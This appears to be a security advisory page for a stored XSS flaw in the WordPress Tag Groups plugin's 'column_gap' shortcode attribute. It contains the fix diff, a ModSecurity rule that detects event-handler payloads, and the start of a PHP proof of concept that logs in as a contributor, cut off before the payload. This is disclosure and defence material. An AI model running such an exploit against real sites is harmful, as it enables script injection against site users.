+                $notice->render();
+                return;
+            }
+        }
+    }
+
+    /**
+     * Whether the current request should see the Hub translation notice.
+     *
+     * True when the current admin screen is one this plugin allowed, the site
+     * locale or the current user's locale is a non-English locale shipped in
+     * the bundled languages directory, Hub is not active, the user can install
+     * plugins, and that user has not dismissed the notice.
+     *
+     * @return bool
+     */
+    public function shouldDisplay(): bool
+    {
+        if (! $this->isNoticeEnabled()) {
+            return false;
+        }
+
+        if (! $this->isOnAllowedScreen()) {
+            return false;
+        }
+
+        if ($this->isDismissedByCurrentUser()) {
+            return false;
+        }
+
+        if ($this->isHubPluginActive()) {
+            return false;
+        }
+
+        if (! current_user_can('install_plugins')) {
+            return false;
+        }
+
+        return $this->usesProvidedNonEnglishLocale();
+    }
+
+    /**
+     * Print the admin warning.
+     *
+     * @return void
+     */
+    public function render(): void
+    {
+        $hubLink = sprintf(
+            '<a href="%1$s" target="_blank" rel="noopener noreferrer">%2$s</a>',
+            esc_url(self::HUB_URL),
+            esc_html__('PublishPress Hub', 'bundled-translations')
+        );
+
+        $message = sprintf(
+            /* translators: %s: "PublishPress Hub" link (https://publishpress.com/hub). */
+            esc_html__(
+                'Install the %s plugin to receive translations and updates for your language.',
+                'bundled-translations'
+            ),
+            $hubLink
+        );
+
+        echo '<div class="notice notice-warning is-dismissible publishpress-bundled-translations-hub-notice"><p>';
+        echo wp_kses(
+            $message,
+            [
+                'a' => [
+                    'href'   => true,
+                    'target' => true,
+                    'rel'    => true,
+                ],
+            ]
+        );
+        echo '</p></div>';
+
+        $this->enqueueDismissScript();
+    }
+
+    /**
+     * Store the dismissal for the current user and end the ajax request.
+     *
+     * @return void
+     */
+    public static function onDismiss(): void
+    {
+        check_ajax_referer(self::DISMISS_NONCE);
+
+        if (! current_user_can('install_plugins')) {
+            wp_send_json_error(null, 403);
+        }
+
+        self::dismissForCurrentUser();
+        wp_send_json_success();
+    }
+
+    /**
+     * Remember that the current user dismissed the Hub notice on this site.
+     *
+     * @return void
+     */
+    public static function dismissForCurrentUser(): void
+    {
+        $userId = get_current_user_id();
+        if ($userId <= 0) {
+            return;
+        }
+
+        update_user_option($userId, self::DISMISSED_OPTION, '1');
+    }
+
+    /**
+     * Check whether the notice is allowed to display.
+     *
+     * @return bool
+     */
+    private function isNoticeEnabled(): bool
+    {
+        return (bool) apply_filters(
+            'publishpress_bundled_translations_hub_notice_enabled',
+            false,
+            $this->domain
+        );
+    }
+
+    /**
+     * Check whether the current admin screen is one this plugin opted into.
+     *
+     * The screen list defaults to empty, so the notice stays off every page
+     * until the plugin names its own screen ids.
+     *
+     * @return bool
+     */
+    private function isOnAllowedScreen(): bool
+    {
+        if (! function_exists('get_current_screen')) {
+            return false;
+        }
+
+        $screen = get_current_screen();
+        if (! $screen instanceof WP_Screen || '' === $screen->id) {
+            return false;
+        }
+
+        $screens = apply_filters(
+            'publishpress_bundled_translations_hub_notice_screens',
+            [],
+            $this->domain
+        );
+
+        if (! is_array($screens)) {
+            return false;
+        }
+
+        foreach ($screens as $allowedScreenId) {
+            if (is_string($allowedScreenId) && $allowedScreenId === $screen->id) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * Check whether the current user already dismissed the notice on this site.
+     *
+     * @return bool
+     */
+    private function isDismissedByCurrentUser(): bool
+    {
+        $userId = get_current_user_id();
+        if ($userId <= 0) {
+            return false;
+        }
+
+        return '1' === get_user_option(self::DISMISSED_OPTION, $userId);
+    }
+
+    /**
+     * Print the script that saves a click on the core dismiss button.
+     *
+     * WordPress adds that button for `.is-dismissible` and hides the notice
+     * for the current page only. This request stores the choice on the user.
+     *
+     * @return void
+     */
+    private function enqueueDismissScript(): void
+    {
+        if (self::$dismissScriptEnqueued) {
+            return;
+        }
+
+        // `common` prints in the admin footer, after admin_notices, on every admin screen.
+        wp_enqueue_script('common');
+
+        $config = wp_json_encode(
+            [
+                'action'      => self::DISMISS_ACTION,
+                '_ajax_nonce' => wp_create_nonce(self::DISMISS_NONCE),
+            ]
+        );
+
+        if (! is_string($config)) {
+            return;
+        }
+
+        wp_add_inline_script(
+            'common',
+            'window.publishPressBundledTranslationsHubNotice = ' . $config . ';',
+            'before'
+        );
+
+        wp_add_inline_script(
+            'common',
+            "jQuery(function ($) {n"
+            . "    $(document).on('click', '.publishpress-bundled-translations-hub-notice .notice-dismiss', function () {n"
+            . "        $.post(window.ajaxurl, window.publishPressBundledTranslationsHubNotice);n"
+            . "    });n"
+            . "});n"
+        );
+
+        self::$dismissScriptEnqueued = true;
+    }
+
+    /**
+     * Check whether PublishPress Hub is already running.
+     *
+     * @return bool
+     */
+    private function isHubPluginActive(): bool
+    {
+        $active = defined('PUBLISHPRESS_HUB_VERSION');
+
+        return (bool) apply_filters('publishpress_bundled_translations_hub_plugin_active', $active);
+    }
+
+    /**
+     * Check whether the site or the current user uses a shipped non-English locale.
+     *
+     * @return bool
+     */
+    private function usesProvidedNonEnglishLocale(): bool
+    {
+        $provided = $this->getProvidedLocales();
+
+        if ([] === $provided) {
+            return false;
+        }
+
+        foreach ($this->getRelevantLocales() as $locale) {
+            if ($this->isEnglishLocale($locale)) {
+                continue;
+            }
+
+            if (isset($provided[$locale])) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * Configured site language, effective locale, and current user locale.
+     *
+     * The site language is the Settings → General value (`WPLANG`). `get_locale()`
+     * is included because a locale switch can change the effective locale without
+     * changing that option. An empty `WPLANG` means English (`en_US`).
+     *
+     * @return string[]
+     */
+    private function getRelevantLocales(): array
+    {
+        $siteLocale = get_option('WPLANG');
+        if (! is_string($siteLocale) || '' === $siteLocale) {
+            $siteLocale = 'en_US';
+        }
+
+        $locales = [$siteLocale, get_locale(), get_user_locale()];
+
+        $locales = array_filter(
+            $locales,
+            static function ($locale): bool {
+                return is_string($locale) && '' !== $locale;
+            }
+        );
+
+        return array_values(array_unique($locales));
+    }
+
+    /**
+     * Locales that have a bundled translation file, keyed by locale code.
+     *
+     * English locales are omitted. Filenames may be `{domain}-{locale}.mo`,
+     * `.po`, `.json`, or `.l10n.php`. WordPress Jed JSON files may also append
+     * `-{md5}` before `.json`.
+     *
+     * @return array<string, true>
+     */
+    private function getProvidedLocales(): array
+    {
+        if (null !== $this->providedLocales) {
+            return $this->providedLocales;
+        }
+
+        $this->providedLocales = [];
+
+        if (! is_dir($this->languagesDir)) {
+            return $this->providedLocales;
+        }
+
+        $entries = scandir($this->languagesDir);
+        if (false === $entries) {
+            return $this->providedLocales;
+        }
+
+        foreach ($entries as $filename) {
+            $locale = $this->localeFromTranslationFilename($filename);
+            if ('' === $locale || $this->isEnglishLocale($locale)) {
+                continue;
+            }
+
+            $this->providedLocales[$locale] = true;
+        }
+
+        return $this->providedLocales;
+    }
+
+    /**
+     * Extract a locale code from a bundled translation filename.
+     *
+     * @param string $filename Basename of a file in the languages directory.
+     * @return string Locale code, or an empty string when the name does not match.
+     */
+    private function localeFromTranslationFilename(string $filename): string
+    {
+        $prefix = $this->domain . '-';
+        if (0 !== strpos($filename, $prefix)) {
+            return '';
+        }
+
+        $remainder = substr($filename, strlen($prefix));
+
+        if (1 === preg_match('/^(.+).l10n.php$/', $remainder, $matches)) {
+            $locale = $matches[1];
+        } elseif (1 === preg_match('/^(.+).(?:mo|po|json)$/', $remainder, $matches)) {
+            $locale = $matches[1];
+        } else {
+            return '';
+        }
+
+        $locale = preg_replace('/-[a-f0-9]{32}$/', '', $locale);
+        if (! is_string($locale) || '' === $locale) {
+            return '';
+        }
+
+        if (1 !== preg_match('/^[a-z]{2,3}(?:_[A-Za-z0-9]+)*$/', $locale)) {
+            return '';
+        }
+
+        return $locale;
+    }
+
+    /**
+     * Check whether a locale is English (`en` or `en_*`).
+     *
+     * @param string $locale Locale code.
+     * @return bool
+     */
+    private function isEnglishLocale(string $locale): bool
+    {
+        $locale = strtolower($locale);
+
+        return 'en' === $locale || 0 === strpos($locale, 'en_');
+    }
+}
--- a/tag-groups/lib/vendor/publishpress/bundled-translations/core/VersionLoader.php
+++ b/tag-groups/lib/vendor/publishpress/bundled-translations/core/VersionLoader.php
@@ -0,0 +1,88 @@
+<?php
+
+/********************************************************************************
+ * This file was automatically generated by the version-loader-generator script
+ * whenever the composer update command is run.
+ *
+ * WARNING: Do not modify this file directly. Your changes will be overwritten.
+ *******************************************************************************/
+
+namespace PublishPressBundledTranslations;
+
+if (! class_exists('PublishPress\BundledTranslations\VersionLoader', false)) {
+    /**
+     * Newest-wins loader for this prefixed library (same idea as ActionScheduler_Versions).
+     */
+    class VersionLoader
+    {
+        /**
+         * @var VersionLoader
+         */
+        private static $instance = null;
+
+        private $versions = array();
+
+        public function register($versionString, $initializationCallback): bool
+        {
+            if (isset($this->versions[$versionString])) {
+                return false;
+            }
+
+            $this->versions[$versionString] = $initializationCallback;
+
+            return true;
+        }
+
+        public function getVersions(): array
+        {
+            return $this->versions;
+        }
+
+        public function latestVersion()
+        {
+            $keys = array_keys($this->versions);
+            if (empty($keys)) {
+                return false;
+            }
+            uasort($keys, 'version_compare');
+            return end($keys);
+        }
+
+        public function latestVersionCallback()
+        {
+            $latest = $this->latestVersion();
+            if (empty($latest) || ! isset($this->versions[$latest])) {
+                return '__return_null';
+            }
+
+            return $this->versions[$latest];
+        }
+
+        /**
+         * @return VersionLoader
+         * @codeCoverageIgnore
+         */
+        public static function getInstance(): ?VersionLoader
+        {
+            if (empty(self::$instance)) {
+                self::$instance = new self();
+            }
+
+            return self::$instance;
+        }
+
+        /**
+         * @codeCoverageIgnore
+         */
+        public static function initializeLatestVersion(): void
+        {
+            $self = self::getInstance();
+
+            call_user_func($self->latestVersionCallback());
+        }
+    }
+}
+
+if (! class_exists('PublishPress\BundledTranslations\Versions', false)) {
+    class_alias(VersionLoader::class, 'PublishPress\BundledTranslations\Versions');
+}
--- a/tag-groups/lib/vendor/publishpress/bundled-translations/core/Versions.php
+++ b/tag-groups/lib/vendor/publishpress/bundled-translations/core/Versions.php
@@ -1,84 +0,0 @@
-<?php
-
-/********************************************************************************
- * This file was automatically generated by the version-loader-generator script
- * whenever the composer update command is run.
- *
- * WARNING: Do not modify this file directly. Your changes will be overwritten.
- *******************************************************************************/
-
-namespace PublishPressBundledTranslations;
-
-if (! class_exists('PublishPress\BundledTranslations\Versions')) {
-    /**
-     * Based on the ActionScheduler_Versions class from Action Scheduler library.
-     */
-    class Versions
-    {
-        /**
-         * @var Versions
-         */
-        private static $instance = null;
-
-        private $versions = array();
-
-        public function register($versionString, $initializationCallback): bool
-        {
-            if (isset($this->versions[$versionString])) {
-                return false;
-            }
-
-            $this->versions[$versionString] = $initializationCallback;
-
-            return true;
-        }
-
-        public function getVersions(): array
-        {
-            return $this->versions;
-        }
-
-        public function latestVersion()
-        {
-            $keys = array_keys($this->versions);
-            if (empty($keys)) {
-                return false;
-            }
-            uasort($keys, 'version_compare');
-            return end($keys);
-        }
-
-        public function latestVersionCallback()
-        {
-            $latest = $this->latestVersion();
-            if (empty($latest) || ! isset($this->versions[$latest])) {
-                return '__return_null';
-            }
-
-            return $this->versions[$latest];
-        }
-
-        /**
-         * @return Versions
-         * @codeCoverageIgnore
-         */
-        public static function getInstance(): ?Versions
-        {
-            if (empty(self::$instance)) {
-                self::$instance = new self();
-            }
-
-            return self::$instance;
-        }
-
-        /**
-         * @codeCoverageIgnore
-         */
-        public static function initializeLatestVersion(): void
-        {
-            $self = self::getInstance();
-
-            call_user_func($self->latestVersionCallback());
-        }
-    }
-}
--- a/tag-groups/lib/vendor/publishpress/bundled-translations/core/include.php
+++ b/tag-groups/lib/vendor/publishpress/bundled-translations/core/include.php
@@ -16,35 +16,41 @@
     return;
 }

-if (! function_exists(__NAMESPACE__ . 'register1Dot0Dot3')) {
+if (! function_exists(__NAMESPACE__ . 'register1Dot0Dot6')) {
     if (! defined('PUBLISHPRESS_BUNDLED_TRANSLATIONS_INCLUDED')) {
         define('PUBLISHPRESS_BUNDLED_TRANSLATIONS_INCLUDED', __DIR__);
     }

-    if (! class_exists('PublishPressBundledTranslationsVersions')) {
-        require_once __DIR__ . '/Versions.php';
+    if (! class_exists(__NAMESPACE__ . 'VersionLoader', false)
+        && class_exists(__NAMESPACE__ . 'Versions', false)
+    ) {
+        class_alias(__NAMESPACE__ . 'Versions', __NAMESPACE__ . 'VersionLoader');
+    }
+
+    if (! class_exists(__NAMESPACE__ . 'VersionLoader', false)) {
+        require_once __DIR__ . '/VersionLoader.php';

-        add_action('plugins_loaded', [Versions::class, 'initializeLatestVersion'], -190, 0);
+        add_action('plugins_loaded', [VersionLoader::class, 'initializeLatestVersion'], -190, 0);
     }

-    add_action('plugins_loaded', __NAMESPACE__ . 'register1Dot0Dot3', -200, 0);
+    add_action('plugins_loaded', __NAMESPACE__ . 'register1Dot0Dot6', -200, 0);

-    function register1Dot0Dot3()
+    function register1Dot0Dot6()
     {
         if (! class_exists('PublishPressBundledTranslationsBundledTranslations')) {
-            $versions = Versions::getInstance();
-            $versions->register('1.0.3', __NAMESPACE__ . 'initialize1Dot0Dot3');
+            $loader = VersionLoader::getInstance();
+            $loader->register('1.0.6', __NAMESPACE__ . 'initialize1Dot0Dot6');
         }
     }

-    function initialize1Dot0Dot3()
+    function initialize1Dot0Dot6()
     {
         require_once __DIR__ . '/autoload.php';

         if (! defined('PUBLISHPRESS_BUNDLED_TRANSLATIONS_VERSION')) {
-            define('PUBLISHPRESS_BUNDLED_TRANSLATIONS_VERSION', '1.0.3');
+            define('PUBLISHPRESS_BUNDLED_TRANSLATIONS_VERSION', '1.0.6');
         }

-        do_action('publishpress_bundled_translations_1Dot0Dot3_initialized');
+        do_action('publishpress_bundled_translations_1Dot0Dot6_initialized');
     }
 }
--- a/tag-groups/src/init.php
+++ b/tag-groups/src/init.php
@@ -9,10 +9,7 @@
 * @package Tag Groups
 */

-// Exit if accessed directly.
-if (! defined('ABSPATH')) {
-    exit;
-}
+defined('ABSPATH') || exit;

 /**
 * Enqueue Gutenberg block assets for both frontend + backend.
--- a/tag-groups/tag-groups.php
+++ b/tag-groups/tag-groups.php
@@ -6,7 +6,7 @@
  * Description: PublishPress Tag Groups allows you to organize your WordPress taxonomy terms and show them in clouds, tabs, accordions, tables, lists and much more.
  * Author: PublishPress
  * Author URI: https://publishpress.com
- * Version: 3.0.0
+ * Version: 3.0.1
  * License: GPL-3.0-or-later
  * License URI: https://www.gnu.org/licenses/gpl-3.0.html
  * Text Domain: tag-groups
@@ -26,7 +26,7 @@
 defined('ABSPATH') || exit;

 if (! defined('TAG_GROUPS_VERSION')) {
-    define('TAG_GROUPS_VERSION', '3.0.0');
+    define('TAG_GROUPS_VERSION', '3.0.1');
 }

 $includeFileRelativePath = '/publishpress/instance-protection/include.php';
--- a/tag-groups/views/admin/edit_tag_main.view.php
+++ b/tag-groups/views/admin/edit_tag_main.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <tr class="form-field">
   <th scope="row" valign="top"><label for="tag_widget"><?php _e('Tag Groups', 'tag-groups') ?></label></th>
   <td>
--- a/tag-groups/views/admin/new_tag_from_list.view.php
+++ b/tag-groups/views/admin/new_tag_from_list.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="form-field">
   <label for="term-group"><?php _e('Tag Groups', 'tag-groups') ?></label>

--- a/tag-groups/views/admin/onboarding.view.php
+++ b/tag-groups/views/admin/onboarding.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <h2><?php _e('First Steps', 'tag-groups') ?></h2>
 <div class="tg-onboarding-container">
   <h3><?php /* translators: %s is the plugin name */ printf(esc_html__('Welcome to %s!', 'tag-groups'), esc_html($title)) ?></h3>
--- a/tag-groups/views/admin/post_filter.view.php
+++ b/tag-groups/views/admin/post_filter.view.php
@@ -1,6 +1,8 @@
+<?php defined('ABSPATH') || exit;
+?>
 <select name="tg_filter_posts_value" onchange="tagGroupsGroupFilterChanged()">
   <option value=""><?php
-  _e('Filter by tag group', 'tag-groups'); ?></option>
+    _e('Filter by tag group', 'tag-groups'); ?></option>
   <?php
     foreach ($term_groups as $term_group => $label) {
         $style = in_array($term_group, $parents) ? 'style="background-color:#dfdfdf"' : '';
--- a/tag-groups/views/admin/sample_page.view.php
+++ b/tag-groups/views/admin/sample_page.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <p>
   <?php /* translators: %s is the author display name */ printf(esc_html__('%s created this sample page in the Setup Wizard of the <b>PublishPress Tag Groups</b> plugin. You can safely edit and delete it or keep it for future reference.', 'tag-groups'), esc_html($author_display_name)) ?>
 </p>
--- a/tag-groups/views/admin/sample_page_gutenberg.view.php
+++ b/tag-groups/views/admin/sample_page_gutenberg.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <!-- wp:paragraph -->
 <p>
   <?php printf(esc_html__('%s created this sample page in the Setup Wizard of the <b>PublishPress Tag Groups</b> plugin. You can safely edit and delete it or keep it for future reference.', 'tag-groups'), esc_html($author_display_name)) ?>
--- a/tag-groups/views/admin/settings_back_end_filters.view.php
+++ b/tag-groups/views/admin/settings_back_end_filters.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">

   <form method="POST" action="<?php /* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized */ echo isset($_SERVER['REQUEST_URI']) ? esc_url(wp_unslash($_SERVER['REQUEST_URI'])) : ''; ?>">
--- a/tag-groups/views/admin/settings_back_end_gutenberg.view.php
+++ b/tag-groups/views/admin/settings_back_end_gutenberg.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">

   <form method="POST" action="<?php /* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized */ echo isset($_SERVER['REQUEST_URI']) ? esc_url(wp_unslash($_SERVER['REQUEST_URI'])) : ''; ?>">
--- a/tag-groups/views/admin/settings_back_end_multilingual.view.php
+++ b/tag-groups/views/admin/settings_back_end_multilingual.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">

   <form method="POST" action="<?php /* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized */ echo isset($_SERVER['REQUEST_URI']) ? esc_url(wp_unslash($_SERVER['REQUEST_URI'])) : ''; ?>">
--- a/tag-groups/views/admin/settings_footer.view.php
+++ b/tag-groups/views/admin/settings_footer.view.php
@@ -1,3 +1,7 @@
+<?php
+
+defined('ABSPATH') || exit;
+?>
 </div>
 <script>
 jQuery(document).ready(function(){
--- a/tag-groups/views/admin/settings_front_end_shortcodes.view.php
+++ b/tag-groups/views/admin/settings_front_end_shortcodes.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content box-tg-accordion">

   <p>
--- a/tag-groups/views/admin/settings_front_end_themes.view.php
+++ b/tag-groups/views/admin/settings_front_end_themes.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">

   <form method="POST" action="<?php /* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized */ echo isset($_SERVER['REQUEST_URI']) ? esc_url(wp_unslash($_SERVER['REQUEST_URI'])) : ''; ?>">
--- a/tag-groups/views/admin/settings_header.view.php
+++ b/tag-groups/views/admin/settings_header.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="wrap tag-groups-tooltips-enabled">
   <?php if (! empty($admin_page_title)) : ?>
     <h1><?php echo esc_html($admin_page_title) ?></h1>
--- a/tag-groups/views/admin/settings_help.view.php
+++ b/tag-groups/views/admin/settings_help.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div id="tg_setting_help_search">
   <div class="tg-settings-search-area">
     <label for="tg_setting_help_search_field"></label><input id="tg_setting_help_search_field" placeholder="<?php _e('Search for settings', 'tag-groups') ?>" autocomplete="off"  title="<?php _e('Search for setting pages. Type a space to show all settings.', 'tag-groups') ?>">
--- a/tag-groups/views/admin/settings_home.view.php
+++ b/tag-groups/views/admin/settings_home.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div style="float:left;">
   <h2><?php _e('Active Taxonomies', 'tag-groups') ?></h2>
   <table class="widefat fixed striped">
--- a/tag-groups/views/admin/settings_rest_api.view.php
+++ b/tag-groups/views/admin/settings_rest_api.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">

   <form method="POST" action="<?php /* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized */ echo isset($_SERVER['REQUEST_URI']) ? esc_url(wp_unslash($_SERVER['REQUEST_URI'])) : ''; ?>">
--- a/tag-groups/views/admin/settings_tabs.view.php
+++ b/tag-groups/views/admin/settings_tabs.view.php
@@ -1,14 +1,16 @@
+<?php defined('ABSPATH') || exit;
+?>
 <h2 class="nav-tab-wrapper">
   <?php foreach ($tabs as $slug => $label) :
-      $settings_url = add_query_arg(array( 'active-tab' => $slug ), menu_page_url($page, false));
+        $settings_url = add_query_arg(array( 'active-tab' => $slug ), menu_page_url($page, false));

         ?>
     <a href="<?php echo esc_url($settings_url) ?>"
     aria-current="<?php echo esc_attr($slug == $active_tab ? 'true' : 'false'); ?>"
     class="nav-tab
-      <?php if ($slug == $active_tab) : ?>
+        <?php if ($slug == $active_tab) : ?>
         nav-tab-active
-      <?php endif; ?>
+        <?php endif; ?>
       "><?php echo esc_html($label) ?>
     </a>
   <?php endforeach; ?>
--- a/tag-groups/views/admin/settings_taxonomies.view.php
+++ b/tag-groups/views/admin/settings_taxonomies.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">
   <p><?php _e('Choose the taxonomies for which you want to use Tag Groups:', 'tag-groups') ?></p>

--- a/tag-groups/views/admin/settings_tools_export_import.view.php
+++ b/tag-groups/views/admin/settings_tools_export_import.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">
   <p>
     <form method="POST" action="<?php /* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized */ echo isset($_SERVER['REQUEST_URI']) ? esc_url(wp_unslash($_SERVER['REQUEST_URI'])) : ''; ?>">
--- a/tag-groups/views/admin/settings_tools_reset.view.php
+++ b/tag-groups/views/admin/settings_tools_reset.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">
   <form method="POST" action="<?php /* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized */ echo isset($_SERVER['REQUEST_URI']) ? esc_url(wp_unslash($_SERVER['REQUEST_URI'])) : ''; ?>">
     <?php echo wp_nonce_field('tag-groups-reset', 'tag-groups-reset-nonce', true, false); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
--- a/tag-groups/views/admin/settings_troubleshooting_debug.view.php
+++ b/tag-groups/views/admin/settings_troubleshooting_debug.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">
   <form method="POST" action="<?php /* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized */ echo isset($_SERVER['REQUEST_URI']) ? esc_url(wp_unslash($_SERVER['REQUEST_URI'])) : ''; ?>">
 <ul>
--- a/tag-groups/views/admin/settings_troubleshooting_first_aid.view.php
+++ b/tag-groups/views/admin/settings_troubleshooting_first_aid.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">

   <p> </p>
--- a/tag-groups/views/admin/settings_troubleshooting_process.view.php
+++ b/tag-groups/views/admin/settings_troubleshooting_process.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">

   <h2><?php echo esc_html($task_set_name) ?></h2>
--- a/tag-groups/views/admin/settings_troubleshooting_process_task_no_language.view.php
+++ b/tag-groups/views/admin/settings_troubleshooting_process_task_no_language.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div id="tag_groups_task_<?php echo esc_attr($task) ?>" class="tag_groups_task_wrapper" style="display:none;">
   <h3><?php echo esc_html($tasks_whitelist[ $task ]) ?></h3>
   <div id="tag_groups_task_bar_wrapper_<?php echo esc_attr($task) ?>" class="tag_groups_process_bar_wrapper">
--- a/tag-groups/views/admin/settings_troubleshooting_system.view.php
+++ b/tag-groups/views/admin/settings_troubleshooting_system.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div class="tg_settings_tabs_content">
   <div class="tg_admin_accordion" >
     <h3>WordPress</h3>
--- a/tag-groups/views/admin/setup_wizard_finished.view.php
+++ b/tag-groups/views/admin/setup_wizard_finished.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div style="margin: 50px 0 0;">

   <h3><?php _e('Well done!', 'tag-groups') ?></h3>
--- a/tag-groups/views/admin/setup_wizard_footer.view.php
+++ b/tag-groups/views/admin/setup_wizard_footer.view.php
@@ -1 +1,5 @@
+<?php
+
+defined('ABSPATH') || exit;
+?>
 </div>
--- a/tag-groups/views/admin/setup_wizard_header.view.php
+++ b/tag-groups/views/admin/setup_wizard_header.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <h1><span class="dashicons dashicons-lightbulb"></span> <?php _e('PublishPress Tag Groups Setup Wizard', 'tag-groups') ?></h1>
 <div class="tag-groups-wizard-box">
 <ul class="tag-groups-steps">
--- a/tag-groups/views/admin/setup_wizard_sample_content.view.php
+++ b/tag-groups/views/admin/setup_wizard_sample_content.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div style="margin: 50px 0 0;">

   <p><?php _e('Now you are ready to create your own tag groups. If you prefer to start out from a sample, we will create for you three groups and three tags. You can play around with them, rename or delete them.', 'tag-groups') ?></p>
--- a/tag-groups/views/admin/setup_wizard_start.view.php
+++ b/tag-groups/views/admin/setup_wizard_start.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div style="margin: 50px 0 0;">
   <ul style="list-style:disc; margin-left:20px;">
   <li><?php _e('On the following pages we will guide you through the basic settings that you need for the most common features.', 'tag-groups') ?></li>
--- a/tag-groups/views/admin/setup_wizard_taxonomies.view.php
+++ b/tag-groups/views/admin/setup_wizard_taxonomies.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div style="margin: 50px 0 0;">
   <p><?php _e('Choose the taxonomies for which you want to use tag groups.', 'tag-groups') ?> <?php _e("In most cases the default taxonomy <b>Tags (post_tag)</b> will do the job.", 'tag-groups') ?><span class="dashicons dashicons-editor-help chatty-mango-help-icon" data-topic="taxonomies" title="<?php _e('Click for more information', 'tag-groups') ?>"></span></p>

--- a/tag-groups/views/admin/tag_groups_admin.view.php
+++ b/tag-groups/views/admin/tag_groups_admin.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>

 <div class='wrap tag-groups-tooltips-enabled' id="tag_group_administration">
   <h2><?php _e('Tag Group Administration', 'tag-groups') ?></h2>
--- a/tag-groups/views/partials/admin_feed_fallback.view.php
+++ b/tag-groups/views/partials/admin_feed_fallback.view.php
@@ -1,3 +1,5 @@
+<?php defined('ABSPATH') || exit;
+?>
 <div style="paddi

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:2026119180,phase:2,deny,status:403,chain,msg:'CVE-2026-119180 via Tag Groups shortcode column_gap XSS',severity:'CRITICAL',tag:'CVE-2026-119180'"
  SecRule ARGS_POST:content "@rx column_gaps*=s*[^a-z0-9]*on[a-z]+s*=" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-119180 - PublishPress Tag Groups: Stylish Displays For Your Tags and Categories <= 3.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'column_gap' Shortcode Attribute

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor-level password

// Initialize cURL
$ch = curl_init();

// Step 1: Login to WordPress
